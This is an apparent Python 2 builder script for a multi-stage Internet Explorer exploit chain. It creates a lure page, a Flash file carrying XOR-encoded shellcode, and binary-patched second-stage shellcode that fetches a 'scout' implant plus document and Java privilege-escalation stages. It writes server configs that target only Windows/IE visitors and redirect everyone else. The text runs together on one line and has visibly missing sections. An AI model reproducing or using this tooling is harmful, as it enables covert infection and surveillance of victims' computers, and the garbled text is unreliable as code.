#!/usr/bin/env python import os import ast import sys import copy import json import glob import zlib import random import shutil import pylzma import struct import argparse import platform import tempfile import urlparse import subprocess import ConfigParser from zipfile import ZipFile # ------- start of utils subs ------- # should refactor def random_id(length): number = '0123456789' alpha = 'abcdefghijklmnopqrstuvwxyz' id = '' for i in range(0, length, 2): id += random.choice(number) id += random.choice(alpha) return id def random_alpha(length): alpha = 'abcdefghijklmnopqrstuvwxyz' id = '' for i in range(0, length, 2): id += random.choice(alpha) return id def four_byte_xor(buf, key): out = '' for i in range(0, len(buf)/4): c = struct.unpack('

Please wait, the requested page is loading...


""" elif exploit_type == 'iehtml': page = """ """ else: print '[E] wrong exploit type: {}'.format(exploit_type) exit(1) #open(exploitpage_relative_url, 'w').write(page.replace('SWF_URL', swf_random_name)) open(exploitpage_relative_url, 'w').write(page.replace('SWF_URL', swf_url)) shutil.move(exploitpage_relative_url, os.path.join(target_directory, 'data/') ) # copy ajax-loader.gif #image_folder = os.path.join(os.path.join(target_directory, 'data'), './images') #os.mkdir(image_folder) shutil.copy('resources/ajax-loader.gif', os.path.join(target_directory, 'data/') ) # copy xp filter and empty.swf shutil.copy('resources/empty.swf', os.path.join(target_directory, 'data/') ) shutil.copy('resources/xp_filter.py', os.path.join(target_directory, 'data/') ) os.chmod(os.path.join(target_directory, 'data/xp_filter.py'), 0755) # 1] create and dump 1st stage swf swf_shellcode = create_swf(stage2_url, binary_xor_key, validate) open(swf_random_name, 'wb').write(swf_shellcode) shutil.move(swf_random_name, os.path.join(target_directory, 'data/not_really_empty.swf') ) # 2] create and dump 2nd stage if validate: shellcode_stage2 = 'resources/Shellcode-Stage2-IE.exe-validate-ca' else: shellcode_stage2 = 'resources/Shellcode-Stage2-IE.exe' print '[*] using shellcode 2nd stage: {}'.format( shellcode_stage2 ) stage2_buff = open(shellcode_stage2, 'rb').read() stage2_buff = binpatch(stage2_buff, "EXE_URL".encode("utf_16")[2:], exe_url.encode("utf_16")[2:] + "\x00\x00") stage2_buff = binpatch(stage2_buff, "EXE_NAME".encode("utf_16")[2:], scout_name.encode("utf_16")[2:] + "\x00\x00") stage2_buff = binpatch(stage2_buff, "DOCESCAPE_URL".encode("utf_16")[2:], stage3doc_url.encode("utf_16")[2:] + "\x00\x00") stage2_buff = binpatch(stage2_buff, "JAVAESCAPE_URL".encode("utf_16")[2:], stage3java_url.encode("utf_16")[2:] + "\x00\x00") stage2_buff = binpatch(stage2_buff, "DOC_TEMP_NAME".encode("utf_16")[2:], doc_random_name.encode("utf_16")[2:] + "\x00\x00") stage2_buff = binpatch(stage2_buff, "DLL_TEMP_NAME".encode("utf_16")[2:], dll_random_name.encode("utf_16")[2:] + "\x00\x00") stage2_buff = binpatch(stage2_buff, "SCOUT_TEMP_NAME".encode("utf_16")[2:], exe_random_name.encode("utf_16")[2:] + "\x00\x00") stage2_buff = binpatch(stage2_buff, "ORIGINAL_URL".encode("utf_16")[2:], ip.encode("utf_16")[2:] + "\x00\x00") stage2_buff = stage2_buff.replace("\xef\xbe\xad\xde", struct.pack("') shutil.move('empty.html', os.path.join(target_directory, 'data/') ) # --- generate edn configuration --- baseconfig = { "general": { "expiry": 0, "hits": 1 }, "valid": { }, "invalid": {"type": 404}, "filters": { 'platform_description': '/windows/i', 'browser': '/^IE$/' }, } # -1] gif gif_config = copy.deepcopy(baseconfig) gif_config['general']['expiry'] = expiry gif_config['general']['hits'] = -1 gif_config['valid']['type'] = 'data' gif_config['valid']['path'] = 'ajax-loader.gif' gif_config['valid']['headers[Content-Type]'] = 'image/gif' write_edn_config(target_directory, 'ajax-loader.gif', gif_config) # 0] exploit page # redirect must start with http:// if exploit_type == 'iehosted': if not (redirect.startswith('http://') or redirect.startswith('https://') ): redirect = 'http://' + redirect html_config = copy.deepcopy(baseconfig) html_config['general']['pos'] = 'first' html_config['general']['expiry'] = expiry html_config['valid']['type'] = 'data' html_config['valid']['headers[Content-Type]'] = 'text/html' html_config['valid']['path'] = './{}'.format(exploitpage_relative_url) html_config['related'] = {} html_config['related'][swf_random_name] = '+2min' html_config['invalid'] = {} if exploit_type == 'iehtml': html_config['invalid']['type'] = 'data' html_config['invalid']['path'] = 'empty.html' html_config['invalid']['headers[Content-Type]'] = 'text/html' else: html_config['invalid']['type'] = 301 html_config['invalid']['headers[Location]'] = redirect write_edn_config(target_directory, exploitpage_relative_url, html_config) # 1] swf with win xp filter swf_config = copy.deepcopy(baseconfig) swf_config['valid']['type'] = 'exec' #swf_config['valid']['path'] = './{}'.format(swf_random_name) swf_config['valid']['path'] = './xp_filter.py' swf_config['valid']['headers[Content-Type]'] = 'application/x-shockwave-flash' swf_config['related'] = {} swf_config['related'][stage2_random_name] = '+2min' write_edn_config(target_directory, swf_random_name, swf_config) # 2] 2nd stage stage2_config = copy.deepcopy(baseconfig) stage2_config['valid']['type'] = 'data' stage2_config['valid']['path'] = './{}'.format(stage2_random_name) stage2_config['valid']['header[Content-Type]'] = 'application/octet-stream' stage2_config['related'] = {} stage2_config['related'][stage3doc_random_name] = '+2min' stage2_config['related'][stage3java_random_name] = '+2min' write_edn_config(target_directory, stage2_random_name, stage2_config) # 3a] 3rd stage java stage3java_config = copy.deepcopy(baseconfig) stage3java_config['valid']['type'] = 'data' stage3java_config['valid']['path'] = './{}'.format(stage3java_random_name) stage3java_config['valid']['header[Content-Type]'] = 'application/octet-stream' stage3java_config['related'] = {} stage3java_config['related'][exe_random_name] = '+2min' stage3java_config['related'][stage3doc_random_name] = 0 write_edn_config(target_directory, stage3java_random_name, stage3java_config) # 3b] 3rd stage doc stage3doc_config = copy.deepcopy(baseconfig) stage3doc_config['valid']['type'] = 'data' stage3doc_config['valid']['path'] = './{}'.format(stage3doc_random_name) stage3doc_config['valid']['header[Content-Type]'] = 'application/octet-stream' stage3doc_config['related'] = {} stage3doc_config['related'][exe_random_name] = '+2min' stage3doc_config['related'][stage3java_random_name] = 0 write_edn_config(target_directory, stage3doc_random_name, stage3doc_config) # 4] scout scout_config = copy.deepcopy(baseconfig) scout_config['general']['pos'] = 'last' scout_config['valid']['type'] = 'data' scout_config['valid']['path'] = './{}'.format(exe_random_name) scout_config['valid']['header[Content-Type]'] = 'application/octet-stream' scout_config['related'] = {} write_edn_config(target_directory, exe_random_name, scout_config) # dump link to --output exploit_url = exploitpage_url #serverip + basedir + exploitpage_relative_url if not validate: exploit_url = exploit_url.replace('https://', 'http://') if exploit_type == 'iehosted': open(output_file, 'wb').write(exploit_url ) print '[*] serving exploit at: {}'.format( exploit_url) elif exploit_type == 'iehtml': #page = '' page = '' page = page.replace('EXPLOIT', exploit_url) open(output_file, 'wb').write(page) print '[*] iframe points to exploit at: {}'.format(exploit_url) def write_edn_config(target_directory, filename, options): config = ConfigParser.RawConfigParser() # Prevent ConfigParser from transforming option names to lowercase config.optionxform = str for k in options: config.add_section(k) for optk in options[k]: config.set(k, optk, options[k][optk]) confpath = os.path.join(target_directory, filename + ".ini") with open(confpath, "w") as fp: config.write(fp) print "[*] wrote EDN config file: {}".format(confpath) # ------- end of build subs ------- # ./build --serveraddr='192.168.0.1' --serverip='192.168.0.1' --basedir='/docs/veryrandomdir/' --outdir='outdir/' --output='output' --t # ype='worddoc' --expiry='1413469552' --client='CUSTOMER' --type='worddoc' --agent='upload/zip.exe' --document='upload/Doc.docx' def main(): random.seed() # 0] scout_name # 1] scout input path # 2] docx input # 3] docx output path parser = argparse.ArgumentParser(description='[*] Internet Explorer Exploit') parser.add_argument('--outdir', help='exploit destination folder', type=str, required=True) parser.add_argument('--serveraddr', help='server address hostname if available', type=str, required=True) parser.add_argument('--serverip', help='server ip', type=str, required=True) parser.add_argument('--agent', help='input scout', type=str, required=True) parser.add_argument('--output', help='output docx', type=str, required=True) parser.add_argument('--basedir', help='base directory', type=str, required=True) parser.add_argument('--expiry', help='expiry date', type=str, required=True) parser.add_argument('--redirect', help='redirect url', type=str, required=False) parser.add_argument('--type', help='[iehosted|iehtml]', type=str, required=True) #parser.add_argument('--validate', help='tls validation', type=str, required=True) args, unknown = parser.parse_known_args() swf_random_name = random_id(12) + '.swf' exe_random_name = random_id(12) + '.dat' stage2_random_name = random_id(12) + '.dat' stage3doc_random_name = random_id(12) + '.dat' stage3java_random_name = random_id(12) + '.dat' dll_random_name = random_id(12) + '.dat' doc_random_name = random_id(12) + '.docm' # doc for privesc serveraddr = 'https://' + args.serveraddr #if not( args.validate == 'True' or args.validate == 'False'): # print '[E] --validate must be either True of False' # exit(-1) #else: # validate = ast.literal_eval(args.validate) validate = True # check type is either iehosted or iehtml if not( args.type == 'iehosted' or args.type == 'iehtml'): print '[E] exploit type must be either iehosted or iehtml' exit(-1) # extract scout metadata if platform.system() == 'Windows': ouch = subprocess.check_output('python ../agentdetect.py --latest "{}"'.format(args.agent), shell=True ) else: ouch = subprocess.check_output('agentdetect --latest "{}"'.format(args.agent), shell=True ) if ouch.strip() == 'None': print '[E] scout provided is not up to date' exit(-1) scout_data = json.loads(ouch) if scout_data['type'] != 'scout': print '[E] executable provided is not a scout' exit(-1) scout_name = scout_data['name'] # build the exploit edn_build(args.outdir, serveraddr, args.serverip, args.basedir, scout_name, args.agent, args.redirect, args.output, swf_random_name, exe_random_name, args.expiry, stage2_random_name, stage3doc_random_name, stage3java_random_name, dll_random_name, doc_random_name, args.type, validate) if __name__ == '__main__': main() .